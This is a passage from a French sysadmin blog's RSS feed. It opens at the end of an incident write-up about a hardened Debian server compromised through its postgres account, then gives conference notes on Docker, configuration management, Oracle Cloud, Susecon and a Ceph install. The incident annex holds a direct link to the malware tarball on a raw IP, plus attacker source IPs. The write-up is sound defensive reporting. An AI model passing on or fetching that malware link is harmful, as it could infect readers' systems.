&lt;p&gt;Je regarde ce qu'il y a dans cette instance postgresql. Conclusion, ce serveur ne sert plus rien. Pas de bases de donn&#233;es, aucune application ne semble y acc&#233;der, &#224; l'inverse toutes les applications semblent trouver leur bases dans le mariadb &#224; c&#244;t&#233;.&lt;/p&gt;
&lt;p&gt;Je supprime donc toute trace de postgresql : packages et user.&lt;/p&gt;
&lt;p&gt;Et j'observe. r&#233;guli&#232;rement. lnav en permanence.&lt;/p&gt;
&lt;h2 class=&#034;spip&#034;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;OK, cette machine n'est pas forc&#233;ment une cr&#232;me de la s&#233;curit&#233; mais si on se dit que
&lt;br /&gt;&lt;span class=&#034;spip-puce ltr&#034;&gt;&lt;b&gt;&#8211;&lt;/b&gt;&lt;/span&gt; l'OS est globalement &#224; jour &#224; la semaine pr&#232;s, tous les paquets debian aus
&lt;br /&gt;&lt;span class=&#034;spip-puce ltr&#034;&gt;&lt;b&gt;&#8211;&lt;/b&gt;&lt;/span&gt; nombre des recommandations de lynis ont &#233;t&#233; appliqu&#233;es (sshd, nginx, ....)
&lt;br /&gt;&lt;span class=&#034;spip-puce ltr&#034;&gt;&lt;b&gt;&#8211;&lt;/b&gt;&lt;/span&gt; lynis, rkhunter, fail2ban sont install&#233;s
&lt;br /&gt;&lt;span class=&#034;spip-puce ltr&#034;&gt;&lt;b&gt;&#8211;&lt;/b&gt;&lt;/span&gt; iptables est configur&#233; et d&#233;marr&#233; et n'autorise que les ports l&#233;gitimes
&lt;br /&gt;&lt;span class=&#034;spip-puce ltr&#034;&gt;&lt;b&gt;&#8211;&lt;/b&gt;&lt;/span&gt; il y a une double authentification sur l'acc&#232;s SSH&lt;/p&gt;
&lt;p&gt;et pourtant la machine a &#233;t&#233; compromise ! et grossi&#232;rement !&lt;br class='autobr' /&gt;
Cela signifie peut-&#234;tre qu'il y a autre chose, certes. Je n'ai pas encore pris le temps pour cela. Mais cela signifie surtout qu'il faut toujours rester vigilant.&lt;/p&gt;
&lt;h2 class=&#034;spip&#034;&gt;Annexes&lt;/h2&gt;
&lt;p&gt;Le code est ici &lt;br class='autobr' /&gt;
&lt;a href=&#034;https://www.hybrid-analysis.com/sample/2f6289bdb494e039b66d13abb6d87bcbd063a4a3a76b90c0e95e283f802a81cc?environmentId=300&#034; class=&#034;spip_url spip_out&#034; rel=&#034;external&#034;&gt;https://www.hybrid-analysis.com/sam...&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#034;http://54.37.70.249/dota2.tar.gz&#034; class=&#034;spip_url spip_out&#034; rel=&#034;external&#034;&gt;http://54.37.70.249/dota2.tar.gz&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Les IP sources :&lt;/p&gt; &lt;textarea readonly='readonly' cols='40' rows='4' class='spip_cadre spip_cadre_block' dir='ltr'&gt;grep sshd auth.log* | grep postgres | grep Start | awk '{print $12}' | sort | uniq -c 26 186.3.234.169 26 202.91.82.54&lt;/textarea&gt;&lt;/div&gt;
		
		</content:encoded>


		

	</item>
<item xml:lang="fr">
		<title>Notes Meetup Docker - chez GFI</title>
		<link>http://www.coincoin.fr.eu.org/?Notes-Meetup-Docker-chez-GFI</link>
		<guid isPermaLink="true">http://www.coincoin.fr.eu.org/?Notes-Meetup-Docker-chez-GFI</guid>
		<dc:date>2017-02-23T18:29:00Z</dc:date>
		<dc:format>text/html</dc:format>
		<dc:language>fr</dc:language>
		<dc:creator>Olivier Duquesne aka DaffyDuke</dc:creator>


		<dc:subject>linux</dc:subject>
		<dc:subject>virtualisation</dc:subject>

		<description>
&lt;p&gt;VSCT &lt;br class='autobr' /&gt;
2015 openstack en r&#233;action &#224; aws 2016 docker + MEP openstack mutation socit&#233; &#233; DEVOPS cr&#233;ation d'une plateforme VSCloud, build fast &amp; chip Environ 10 applis en prod docker (essentiellement applis internes) ou le site de recrutement openstack par hp (helion) (avec un debut brique &#224; brique pour exp&#233;rimenter ) git puppet consul jenkins consul-hproxy swarm register jira &lt;br class='autobr' /&gt;
tenant + swarm + catalogue d'image docker tomcat, mysql, .... avec consul / nginx / ... jenkins en mode pipeline (&#8230;)&lt;/p&gt;


-
&lt;a href="http://www.coincoin.fr.eu.org/?-Au-boulot-" rel="directory"&gt;Au boulot&lt;/a&gt;

/ 
&lt;a href="http://www.coincoin.fr.eu.org/?+-linux-+" rel="tag"&gt;linux&lt;/a&gt;, 
&lt;a href="http://www.coincoin.fr.eu.org/?+-virtualisation-+" rel="tag"&gt;virtualisation&lt;/a&gt;

		</description>


 <content:encoded>&lt;div class='rss_texte'&gt;&lt;h2 class=&#034;spip&#034;&gt;VSCT&lt;/h2&gt;
&lt;p&gt;2015 openstack en r&#233;action &#224; aws&lt;br class='autobr' /&gt;
2016 docker + MEP openstack&lt;br class='autobr' /&gt;
mutation socit&#233; &#233; DEVOPS&lt;br class='autobr' /&gt;
cr&#233;ation d'une plateforme VSCloud, build fast &amp; chip&lt;br class='autobr' /&gt;
Environ 10 applis en prod docker (essentiellement applis internes) ou le site&lt;br class='autobr' /&gt;
de recrutement&lt;br class='autobr' /&gt;
openstack par hp (helion)&lt;br class='autobr' /&gt;
(avec un debut brique &#224; brique pour exp&#233;rimenter )&lt;br class='autobr' /&gt;
git puppet consul jenkins consul-hproxy swarm register jira&lt;/p&gt;
&lt;p&gt;tenant + swarm + catalogue d'image docker tomcat, mysql, ....&lt;br class='autobr' /&gt;
avec consul / nginx / ...&lt;br class='autobr' /&gt;
jenkins en mode pipeline pour le dploiement des conteneurs&lt;/p&gt;
&lt;p&gt;puis l'equipe de prod deploie en prod&lt;br class='autobr' /&gt;
dans le m&#234;me tenant (2 swarm + 1 VM bastion)&lt;/p&gt;
&lt;p&gt;c'est jenkins qui ordonnance les install' avec u go humain pour la prod&lt;/p&gt;
&lt;p&gt;puppet cr&#233;e le tenant pour donner &#224; manger &#224; heat&lt;br class='autobr' /&gt;
(avant rundeck + heat)&lt;br class='autobr' /&gt;
fail fast sur consul (pas encore de bdd &#224; rollbacker)&lt;br class='autobr' /&gt;
flocker pour le backup de base en cron&lt;br class='autobr' /&gt;
sur des SLA nuls :-)&lt;/p&gt;
&lt;p&gt;vision &#224; 2 ans pour la scalabilit&#233;&lt;/p&gt;
&lt;p&gt;planif de MEP encore&lt;/p&gt;
&lt;p&gt;garantie de la prod : prod ou dev ? c'est le dev qui a la main sur le contenu&lt;br class='autobr' /&gt;
pas la prod &#034;comme avant&#034;&lt;br class='autobr' /&gt;
besoin de changement d'organisation&lt;/p&gt;
&lt;p&gt;autre solution kafka-manager&lt;/p&gt;
&lt;p&gt;recrutement vsct com&lt;/p&gt;
&lt;p&gt;openstack = 1 IP entrante&lt;/p&gt;
&lt;p&gt;supervision cetreon mais pas simple sur docker ....&lt;/p&gt;
&lt;h2 class=&#034;spip&#034;&gt;ADEO&lt;/h2&gt;
&lt;p&gt;rancher&lt;br class='autobr' /&gt;
pas de maturite en prod, c'est le dev qui pousse&lt;/p&gt;&lt;/div&gt;
		
		</content:encoded>


		

	</item>
<item xml:lang="fr">
		<title>Notes Configuration Management Camp 2017</title>
		<link>http://www.coincoin.fr.eu.org/?Notes-Configuration-Management</link>
		<guid isPermaLink="true">http://www.coincoin.fr.eu.org/?Notes-Configuration-Management</guid>
		<dc:date>2017-02-07T18:27:00Z</dc:date>
		<dc:format>text/html</dc:format>
		<dc:language>fr</dc:language>
		<dc:creator>Olivier Duquesne aka DaffyDuke</dc:creator>



		<description>
&lt;p&gt;650 personnes Ondrej Prazak pour foreman Ansible devant puppet en 2017 &lt;br class='autobr' /&gt;
Is a solved problem ? I'm sorry from the States @lusis Disait en 2011 is a solved problem with a panel service matters, not servers for what : package, daemons, files, templates, users now, everithyng else as orchestration, lifecycle, mgmt, secrets (Vault, HSM) &lt;br class='autobr' /&gt;
we miss active enforcement comprendre les modifs entre deux run de CM use dbu, inotify, kbus, .... =&gt; un hook kernel pour le cfgmgmt ? un nouvel init ? id&#233;e : (&#8230;)&lt;/p&gt;


-
&lt;a href="http://www.coincoin.fr.eu.org/?-Au-boulot-" rel="directory"&gt;Au boulot&lt;/a&gt;


		</description>


 <content:encoded>&lt;div class='rss_texte'&gt;&lt;textarea readonly='readonly' cols='40' rows='219' class='spip_cadre spip_cadre_block' dir='ltr'&gt;650 personnes Ondrej Prazak pour foreman Ansible devant puppet en 2017 Is a solved problem ? I'm sorry from the States @lusis Disait en 2011 is a solved problem with a panel service matters, not servers for what : package, daemons, files, templates, users now, everithyng else as orchestration, lifecycle, mgmt, secrets (Vault, HSM) we miss active enforcement comprendre les modifs entre deux run de CM use dbu, inotify, kbus, .... =&gt; un hook kernel pour le cfgmgmt ? un nouvel init ? id&#233;e : distributed CM (p2p) ex : whet happened when master go down Habitat is sort of peer ring between nodes Voir Ubuntu snappy (eq docker ?) le nouveau format de package &#034;universel&#034; https://www.ubuntu.com/desktop/snappy q? puppet inside container or deploy wontainer with puppet ? Self-Assembling, Self-Healing Architecture in AWS (hashicorp) James from hachicorp @jen20 ami en zfs root + snapshot inline dans le maifest packer approch sans provi terraform/packer demo : main.tf terraform plan, let's go permet de reprendre les modif &#224; la main forme de configm mgmt pour cloud then terraform apply ajout d'un rm de la cl&#233; ssh en fin de provi best practice : un main.cf par environnement, mais des modules communs deploy ubuntu consul branch&#233; sur le vault pour les mdp openvpn Paul Bellamy Love the container bosse &#224; weavecloud ieurs sch&#233;mas d'archi &#034;&#224; la maode&#034; nginx, proxy d'appli, .... pets vs cattle typos vs =&gt; kubernets/ansible/terraform (infrastructure management) attention tous ces outils sont TRES destructifs topics vs safe tools : people make mistakes without metadata there s no hope metrics, monitor : rate, errors, duration m&#234;me kevin l'a dit ! exemle de de grafana run fast , break things, fix them prometheus : https://prometheus.io/docs/introduction/overview/ Ansible Anonymous - Dag Wieers @dagwieers Group therapy for Ansible addicts ansible 2012n connu pour hpilo, vmware_guest documentation sur github, grossi avec le rachat de RedHat governance difficile &#224; suivre apr&#232;s le rachat de redhat github ansibot pour maintenir un annuaire de modules ansible =&gt; aussi pour la qualit&#233; du code Robyn Bergeron Architecte RedHat Ansbile PEP-8 compliance testing : https://www.python.org/dev/peps/pep-0008/ design : agentless, KISS ssh winrm python powershell yaml jinja2 yaml syntax parsinf : indentation is crucial, attention aux 'action:' *Read presciption carefully and consult doctor* attention &#224; &#233;crire le jinja2, attention aux attention &#224; la syntaxe yaml ansible-playbook &lt;yamlfile&gt; ex: missing command si manqun Kubernetes S&#233;bastien Goasguen @sebgoa serverless http://www.skippbox.com - dismissed EC2 Elastic Cloud Compute beta don't mind the hype garner : serverless archotecture dans la mont&#233;e loMike Roberts martinfowler.com/articles/serverless.html =&gt; definition of serverless applcation unit is shrinking to what it dies value chain and evolution 100%devops focus on the bizness, go fast kubeless change mindset : no ssh ! tout est API config rbac .... ajout de CRUD functions, zookeper pour les events demo kubectl get pods --all-mesages https://github.com/skippbox/kubeless/tree/master/examples kubcetl get VNF Why things are changing NFV management and organisation NFV Orchetsrator vs VNF manager vs virtualize infrastructure manager Open Baton ; opnfv VIM = virt infras managaer : openvim, .... Network Function Virtualiaztion NFV load abalncer appliance ecompil&#233;e par silo, on en fait des layer pour avoir un VNF est donc un package de virtualisation des fonctions network event driven on config-changed, metricjs, .... impl&#233;mentation python Orchestration : how to transform amonolithic appliance into a scamabele application possibilit&#233; de scalling sur ram, le nomre de host etc ... Katello sync pkg , QoS &amp; efficiency foreman+pulp+candlepin docker, rpm, puppet Rich Jerrido upload or sync yum, puppet, docker, rhcdn, any file download in background or cron Le smart proxy est ouvert sur internet ? manage products product Centos -repo base -updates -plus product postgres -el7 -el6 sync plans with custom subscriptions hammer --output json subscritpn.lst --search &#034;name = &#034;EPEL&#034; --organization enterprise Lifecycle : dev/test/staging/ .... every orga has library host have access to new package from repo depuis une library content view : hold yum, docker, repo, possibilit&#233; de rollback dev orga : availael by default, tout est visible os repo + app repo + puppet modules =&gt; filters + modules =&gt; content view =&gt; dispo dans la library library =&gt; dev =&gt; QA =&gt; production saufi si failure composite content view CCV : layers de OS / apps voir les erratas via situational awarenass =&gt; demo d'une application d'errata comme &#034;avant sur spacewalk&#034; questions foreman-users@google-groups.com ansible roles to katello Suse ? zypper support : SMT en plus https://213.32.49.93/settings?utf8=%E2%9C%93&amp;search=compos : compose to true to docker katello3 semble meilleur que passenger how to audit, with openscap &amp; foreman ondrej prazak motivation, compliance (joke clinton) scap scanner ajout du xccdf, puis cr&#233;ation d'une policy de compliance avec schedule execution du rapport openscap, camember via le dashboard foreman remediation script visible dans foreman via job invocation in host =&gt; foreman scap_client 2 avec profile stige_example tailoring file is supported now A venir : remediation inline Shlomi Zadok Infrastruce as a Code kief@thoutworks.com @kief - Kief Morris infrastructure-as-code.com Rappel du state of devops report par puppet Politics and economics of automation by Martin Simons Operating Systems are Assholes by George Miranda genre les OS &#231;a tombe en marche avec des recettes incompr&#233;hensibles pour des humains difficile de descendre des RPM non livr&#233;s apr mon OS ....,pb de signature Unix is a real things, et pourtant on en avait pas bvesoin lors des cartes unix = kernel, programmes, network , .... security... user interface are for people not for machines which tool is better vim / emacs :-) UI for human (smartphone, tablett, alexa, not datacenter) La pire promesse : les containers pour faire tourner des applications (juste tu t&#233;l&#233;charge et &#231;a marche) on se fiche de l'OS, pourtant on metun OS dedans et comment auditer ..... container or habitat runtime just enough os, appli runtime, ultra thin app with no os =&gt; iterate and compare next year normation - automate quality just like you atomate servers beno&#238;t peccattte, bpe@normation.com&lt;/textarea&gt;&lt;/div&gt;
		
		</content:encoded>


		

	</item>
<item xml:lang="fr">
		<title>Notes Oracle Cloud</title>
		<link>http://www.coincoin.fr.eu.org/?Notes-Oracle-Cloud</link>
		<guid isPermaLink="true">http://www.coincoin.fr.eu.org/?Notes-Oracle-Cloud</guid>
		<dc:date>2016-11-17T18:15:00Z</dc:date>
		<dc:format>text/html</dc:format>
		<dc:language>fr</dc:language>
		<dc:creator>Olivier Duquesne aka DaffyDuke</dc:creator>



		<description>
&lt;p&gt;Pres Cloud Oracle 1 OCPU = 2 VCPU AWS (3 GHZ) =&gt; Attention factu gestion des users 30j de trial + renew si possible posssibilit&#233; de masquer des services &#224; l'utilisateur cloud fonctionne essentiellement en mode sas / paas, peu de iaas &lt;br class='autobr' /&gt;
=&gt; verifier le chiffrement des disques via la cle ssh &lt;br class='autobr' /&gt;
SLA 99,95% Extreme Performance avec in memory, dataguard (pas dispo en trial), RAC, multi tenant Oracle Linux 6.6 &lt;br class='autobr' /&gt;
scale up scale down possible sur database &lt;br class='autobr' /&gt;
1 To de stockage coute 4 $ / mois disques (&#8230;)&lt;/p&gt;


-
&lt;a href="http://www.coincoin.fr.eu.org/?-Au-boulot-" rel="directory"&gt;Au boulot&lt;/a&gt;


		</description>


 <content:encoded>&lt;div class='rss_texte'&gt;&lt;textarea readonly='readonly' cols='40' rows='56' class='spip_cadre spip_cadre_block' dir='ltr'&gt;Pres Cloud Oracle 1 OCPU = 2 VCPU AWS (3 GHZ) =&gt; Attention factu gestion des users 30j de trial + renew si possible posssibilit&#233; de masquer des services &#224; l'utilisateur cloud fonctionne essentiellement en mode sas / paas, peu de iaas =&gt; verifier le chiffrement des disques via la cle ssh SLA 99,95% Extreme Performance avec in memory, dataguard (pas dispo en trial), RAC, multi tenant Oracle Linux 6.6 scale up scale down possible sur database 1 To de stockage coute 4 $ / mois disques SSD, teiring, (disques ssd dedies sur bare metal) bulk data import en zfs mdp = celu ide system backup storage = backup sur disque local du meme compute depuis fra (1 full + 7 incr via rman) (apparte le stockage de cloud storage est du openstack swift) =&gt; create instance from backup DataGuard utilisable en PRA mais preciser lors de la creation des comptes/bases =&gt; &#224; faire aussi pour configurer un backup rman =&gt; access ssh avec base de donnes , c'est le partenaire qui maintient l'OS, les patchs, rotation de logs, controler la FRA les services ne sont pas manages par defaut cloud.oracle pas dispo on premise modele flat all inclusive ou modele ou tu paye les iops, la bp etc snapshot =&gt; via la gui ou un cron =&gt; snapshot de disque, pas de base presentation de volume =&gt; monte pour la base commandline + API AWS RDS = pas de base enterprise questions sla downtime =&gt; mise &#224; jour impos&#233;e par oracle (offre de protection des donn&#233;es/datacenter en cours d'arriv&#233;e) goldenfate&lt;/textarea&gt;&lt;/div&gt;
		
		</content:encoded>


		

	</item>
<item xml:lang="fr">
		<title>Notes Susecon 2016 - Washington</title>
		<link>http://www.coincoin.fr.eu.org/?Notes-Susecon-2016-Washington-21563</link>
		<guid isPermaLink="true">http://www.coincoin.fr.eu.org/?Notes-Susecon-2016-Washington-21563</guid>
		<dc:date>2016-11-11T17:58:00Z</dc:date>
		<dc:format>text/html</dc:format>
		<dc:language>fr</dc:language>
		<dc:creator>Olivier Duquesne aka DaffyDuke</dc:creator>



		<description>
&lt;p&gt;# SAP-HANA : system replication, Matthieu Fattrez &lt;br class='autobr' /&gt;
clb pacemaker fait le job moins d'une minute de bascule pour une base de 800G SAP HANA &lt;br class='autobr' /&gt;
Utilisation de Suse Manager &lt;br class='autobr' /&gt;
exemple : patch la machine standby, bascule cluster, puis patch de la machine front, eventuellement retour en position nominale stonith method =&gt; sbd meilleure lecture du crm_mon crm_mon -r -A -f &lt;br class='autobr' /&gt;
# System Security Sardening, tuto &lt;br class='autobr' /&gt;
different levels high, midrange, lowlevel besoin de design AVANT et d'adopter des (&#8230;)&lt;/p&gt;


-
&lt;a href="http://www.coincoin.fr.eu.org/?-Au-boulot-" rel="directory"&gt;Au boulot&lt;/a&gt;


		</description>


 <content:encoded>&lt;div class='rss_texte'&gt;&lt;textarea readonly='readonly' cols='40' rows='173' class='spip_cadre spip_cadre_block' dir='ltr'&gt;# SAP-HANA : system replication, Matthieu Fattrez clb pacemaker fait le job moins d'une minute de bascule pour une base de 800G SAP HANA Utilisation de Suse Manager exemple : patch la machine standby, bascule cluster, puis patch de la machine front, eventuellement retour en position nominale stonith method =&gt; sbd meilleure lecture du crm_mon crm_mon -r -A -f # System Security Sardening, tuto different levels high, midrange, lowlevel besoin de design AVANT et d'adopter des philiosphies de d&#233;ploiement et de cycle de vie des applications impl&#233;mentation audit password : r&#232;gle de force de mot de passe, two factor auth si possible authenitifier autant que possible avec PAM =&gt; aging; failing, strength check # Keynote #2, annonce de SLES 11 SP4 par le CTO Suse, Mr T, French guy. Pub pour OpenAttic, derni&#232;re acquisition Suse pour permettre des migrations Storage Legacy vers du SDN avec CEPH. kubernetes, gaining moment, susecloud7 annonc&#233; &#224; l'openstack summit utilisation de kubernetes pour d&#233;ployer cloudfoundry ou ceph # CanaryCode, how to monitor SAP applications, une solution Datavard 3,5 Mio de recherches googles en erreur par jour 99,9% de SLA = 8h45 par jour d'indispo Clients SAP : 99.9997% =&gt; 1m/year Architecture : CanaryCode Central Instance avec des satelite sustems Bon CanaryCode c'est un AppDynamics en moins joli et moins flexible .... avec un b&#233;mol simple, AppDynamics n'a pas l'air compatible SAP l&#224; o&#249; CanaryCode est d&#233;di&#233; SAP. C'est pas une WebUI, c'est aussi intrusif, &#231;a stocke ces infos dans une base de donn&#233;es tierce. Ils annoncent avoir identifi&#233; dans &#034;une grosse banque allemeande&#034; des ralentissements dans des applications qui apr&#232;s correction, repr&#233;senteraient 948 d'attente : par jours corrig&#233;s car d&#233;tect&#233;s par CanaryCode. Un p&#233;trolier s'en sert pour faire de l'IDS (un peu comme certain avec Splunk). Il existe une version community : http://canarycode.com/en/ # Hands on Cloud Foundry Alejandro Bonilla https://github.com/abonillasuse/cf-intro syst&#232;me PAAS IAAS openstack SAAS github PAAS Cloud Foundry deployer : cf deploy utilisable openstack azure, vmware, aws, google, BOSH inerroge la plaeforme IAAS service broker permet de faire le lien entre les dependances des diff&#233;rents services BOSH CLI =&gt; BOSH director, qui pilote IAAS BOSH provides Stemcell (applications) Iici; pilote Crowbar, permet tous les hyperviseurs possible # Keynote #3 AIX kernel linux to z designed hana smart memory predictive fail memory resiliency multi tb pour hana ibm powervm virtualization limits reduce cost dynamic move vm builtin powervm over lpar SAP affirmation partenariat suse sap essentiellement hana # Hands on systemd storage pour les autres boot journalctl -b 1 pour avoir un pr&#233;c&#233;dent log de boot penser &#224; enlever les quiet etc ... Debian enable par d&#233;faut les services, pas Suse, il faut donc penser &#224; passer derri&#232;re une fois les RPMs install&#233; systemctl mask =&gt; ne pas d&#233;marrer sur un pb de d&#233;pendance, attention au list-unit-files si un service ne d&#233;marre pas systemctl list-unit-files | grep masked systemctl status cron.service = jurnalctl -u cron.service = rccron status rendre un service un peu pverbeux =&gt; sed -i '4 a set -x' /usr/sbin/service systemctl -t service status =&gt; liste tous les services voir le contenu d un service systemctl cqt cron.service systemctl show cron.service killall vs killall -s SIGKILL =&gt; le second est restart&#233; sur un SIGKILL kill&#233; sur un SIGTERM systemctl status &lt;fstqbentry&gt;.mount Int&#233;ressant le defaulttimeoutstartsec pour du nfs ! mieux, un systemd.device-timeout= dans la fstab (m&#233;thode pr&#233;f&#233;r&#233;e car visible de suite) ou de mettre l'option tmeout dans /etc/systemd/mnt2.mount/d/override.conf o&#249; /etc/systemd/mnt2.mount/d/override.conf contient [Unit] DefaultTimeoutStartSec=&lt;&gt; attention, i faut d'abord reg&#233;n&#233;rer les unit files avec systemctl daemon-reload journalctl -xb (from last boot) systemd-delta /etc =&gt; controle d'int&#233;grit&#233; /etc systemd-analyze plot &gt; file.svg = visu graphique de systemctl systemd and docker don't match together, so pb nspawn vs rocket # OpenStack Troubleshooting openstack cloud7 comme d'hab; /var/log/messages, free, vmstat etc .... Les logs de crowbar (production.log et ou) Les logs de chef /var/log/chef/server.log et Rabbit ou encore du provisionner /var/log/apache2/provisionner.log utiliser le rpm supportconfig, il y a iun plugin susecloud bien mettre les &#233;changes de cl&#233; ssh , rsysloger les logs si possible utiliser la commande proposal de crowbarctl voir les logs tftpboot voir le discovery voire mettre un mot de passe crowbar_join __verbose --start =&gt; pour que le node revienne dans le dashboard crowbar mettre les logs en verbose toujours, en debug parfois =&gt; 10 Gb de log par heure ! tester les services ind&#233;pendamment, exemple glance list et download crm configure graph crm_mon Les nodes s'attendent tous, si un dit timeout c'est qu'on peut aller voir l'info plus loin : pour identifier, utiliser knife search node founder:true -1 # OpenATTIC Une interface de managemnt de stockage alernative aux solutions propri&#233;taires Support NAS/SAN/CEPH compl&#232;tement GPL now, int&#233;gr&#233; &#224; Suse en nov. 2016 support zfs, btrfs, extX, SAN, NAS, LVM monitoring in progress icinga&lt;/textarea&gt;&lt;/div&gt;
		
		</content:encoded>


		

	</item>
<item xml:lang="fr">
		<title>Notes Susecon 2016 - Washington</title>
		<link>http://www.coincoin.fr.eu.org/?Notes-Susecon-2016-Washington</link>
		<guid isPermaLink="true">http://www.coincoin.fr.eu.org/?Notes-Susecon-2016-Washington</guid>
		<dc:date>2016-11-07T17:53:00Z</dc:date>
		<dc:format>text/html</dc:format>
		<dc:language>fr</dc:language>
		<dc:creator>Olivier Duquesne aka DaffyDuke</dc:creator>


		<dc:subject>linux</dc:subject>

		<description>
&lt;p&gt;CEPH, OpenSorce, Software Defined Storage, LTS de 12 mois, Suse Storage 3 basee sur Jewel release
&lt;br class='autobr' /&gt;
jusqu qu 6 milliards de noeuds par cluster CERN et toutes les distrib ou constructeurs sont membres du management CEPH usual strategy is to scale up (vertical) ceph is for scaling out (horizontal) suse is the first to ship a iscsi gateway wih ceph (supported) RADOS = CEPH cluster, stockage objet Librados = app pour acceder aux donnees (C, PHP, Java etc) Radosgw = gateway REST co ;\mpatible S3, (&#8230;)&lt;/p&gt;


-
&lt;a href="http://www.coincoin.fr.eu.org/?-Au-boulot-" rel="directory"&gt;Au boulot&lt;/a&gt;

/ 
&lt;a href="http://www.coincoin.fr.eu.org/?+-linux-+" rel="tag"&gt;linux&lt;/a&gt;

		</description>


 <content:encoded>&lt;div class='rss_texte'&gt;&lt;textarea readonly='readonly' cols='40' rows='1056' class='spip_cadre spip_cadre_block' dir='ltr'&gt;CEPH, OpenSorce, Software Defined Storage, LTS de 12 mois, Suse Storage 3 basee sur Jewel release jusqu qu 6 milliards de noeuds par cluster CERN et toutes les distrib ou constructeurs sont membres du management CEPH usual strategy is to scale up (vertical) ceph is for scaling out (horizontal) suse is the first to ship a iscsi gateway wih ceph (supported) RADOS = CEPH cluster, stockage objet Librados = app pour acceder aux donnees (C, PHP, Java etc) Radosgw = gateway REST co;\mpatible S3, Swift RBD = block sur host qui heberge une instance CEPH FS = fs pour un client la gatway irbd presente les donnees en iscsi ou nfs etc 2 co;posants i;portants : - un OSD pour manager les disques (one per path) - MONS (3, $, ....), pour monitorer le cluster Un algo CRUSH de stockage Disk-&gt; FileSystem (XFS) -&gt; OSD Les donnes sont stockees via algo CRUSH Mimu;m de 3 MONS, utilise algo PAXOS pour monitorer les nodes et le reseau =&gt; i;pair absoluement monitor map, contient placement group map, CRUSH map, epoch pour garantir integrite des donnes rssayer de mettre le moins possible de mons un client accede a la donnee objet en ;ode osd directement PAXOS election de l ip la plus petite pour elire un MON les objets sont ranges dans des storage pools defaultpool rbd regles de placement de snapshot par pool l osd voit les placement group, chaque objet est associe a um placement group il faut faire attention au nbre de PG CRUSH controllable Replication Under les donnes ne sont pas centralisees OSD run CRUSH =&gt; besoin de CPU Step2, install, hardware voir la doc suse ceph unprivileged, 167 if possible DNS recommande ipv4 tres bien timesync and at least 2 networks : pub for client/admin and priv for osd to osd SES3 dispo en extension de SLES 12sp0 zypper in ceph-deploy and that s all folks ceph-deploy install &lt;node list&gt; ceph-deply new -cluster moncluster &lt;node list&gt; ceph.conf contient les cles et le rep du journal ceph-deploy mon create-initial &lt;node list&gt; utiliser create pour ajouter des nodes MON puis ajouter les OSD ceph-deploy osd prepare node:dev when check with ceph -k ceph.client.admin.keyring status ceph -w (watch) geeko@ses-admin:~/Desktop&gt; sudo su - We trust you have received the usual lecture from the local System Administrator. It usually boils down to these three things: #1) Respect the privacy of others. #2) Think before you type. #3) With great power comes great responsibility. root's password: ses-admin:~ # yast yast yast2 ses-admin:~ # yast2 ses-admin:~ # useradd -m cephadm ses-admin:~ # passwd cephadm New password: BAD PASSWORD: it is too short BAD PASSWORD: is too simple Retype new password: passwd: password updated successfully ses-admin:~ # visudo visudo: /etc/sudoers.tmp unchanged ses-admin:~ # visudo ses-admin:~ # su &#8211; cephadm su: user &#8211; does not exist ses-admin:~ # su - cephadm cephadm@ses-admin:~&gt; ssh-keygen Generating public/private rsa key pair. Enter file in which to save the key (/home/cephadm/.ssh/id_rsa): Created directory '/home/cephadm/.ssh'. Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /home/cephadm/.ssh/id_rsa. Your public key has been saved in /home/cephadm/.ssh/id_rsa.pub. The key fingerprint is: 9e:b2:bd:31:6f:32:10:b6:7e:84:77:33:79:86:a3:e6 [MD5] cephadm@ses-admin The key's randomart image is: +--[ RSA 2048]----+ | | | | | | | o | | . +S o | | +.o.B o | | ..+=o * | | .+*+. | | .+E=. | +--[MD5]----------+ cephadm@ses-admin:~&gt; ssh-copy-id cephadm@ses-node1 The authenticity of host 'ses-node1 (192.168.100.11)' can't be established. ECDSA key fingerprint is 33:4d:5a:db:e7:69:26:2b:90:11:91:ad:ab:3d:49:eb [MD5]. Are you sure you want to continue connecting (yes/no)? yes /usr/bin/ssh-copy-id: INFO: attempting to log in with the new key(s), to filter out any that are already installed /usr/bin/ssh-copy-id: INFO: 1 key(s) remain to be installed -- if you are prompted now it is to install the new keys Password: Number of key(s) added: 1 Now try logging into the machine, with: &#034;ssh 'cephadm@ses-node1'&#034; and check to make sure that only the key(s) you wanted were added. cephadm@ses-admin:~&gt; ssh-copy-id cephadm@ses-node2 The authenticity of host 'ses-node2 (192.168.100.12)' can't be established. ECDSA key fingerprint is 33:4d:5a:db:e7:69:26:2b:90:11:91:ad:ab:3d:49:eb [MD5]. Are you sure you want to continue connecting (yes/no)? yes /usr/bin/ssh-copy-id: INFO: attempting to log in with the new key(s), to filter out any that are already installed /usr/bin/ssh-copy-id: INFO: 1 key(s) remain to be installed -- if you are prompted now it is to install the new keys Password: Number of key(s) added: 1 Now try logging into the machine, with: &#034;ssh 'cephadm@ses-node2'&#034; and check to make sure that only the key(s) you wanted were added. cephadm@ses-admin:~&gt; ssh-copy-id cephadm@ses-node3 The authenticity of host 'ses-node3 (192.168.100.13)' can't be established. ECDSA key fingerprint is 33:4d:5a:db:e7:69:26:2b:90:11:91:ad:ab:3d:49:eb [MD5]. Are you sure you want to continue connecting (yes/no)? yes /usr/bin/ssh-copy-id: INFO: attempting to log in with the new key(s), to filter out any that are already installed /usr/bin/ssh-copy-id: INFO: 1 key(s) remain to be installed -- if you are prompted now it is to install the new keys Password: Number of key(s) added: 1 Now try logging into the machine, with: &#034;ssh 'cephadm@ses-node3'&#034; and check to make sure that only the key(s) you wanted were added. cephadm@ses-admin:~&gt; ssh ses-node3 id uid=1001(cephadm) gid=100(users) groups=100(users) cephadm@ses-admin:~&gt; exit logout ses-admin:~ # zypper in ceph ceph-deploy Loading repository data... Reading installed packages... Resolving package dependencies... The following 42 NEW packages are going to be installed: FastCGI babeltrace ceph ceph-base ceph-common ceph-deploy ceph-mds ceph-mon ceph-osd gperftools libboost_iostreams1_54_0 libboost_program_options1_54_0 libboost_random1_54_0 libcephfs1 libibverbs1 libleveldb1 librados2 libradosstriper1 librbd1 librdmacm1 librgw2 liburcu0 libxio lttng-ust python-Flask python-Jinja2 python-MarkupSafe python-Werkzeug python-apipkg python-argparse python-cephfs python-ecdsa python-execnet python-itsdangerous python-paramiko python-pushy python-pycrypto python-rados python-rbd python-remoto python-requests supportutils-plugin-ses The following package is not supported by its vendor: libxio 42 new packages to install. Overall download size: 48.7 MiB. Already cached: 0 B. After the operation, additional 211.7 MiB will be used. Continue? 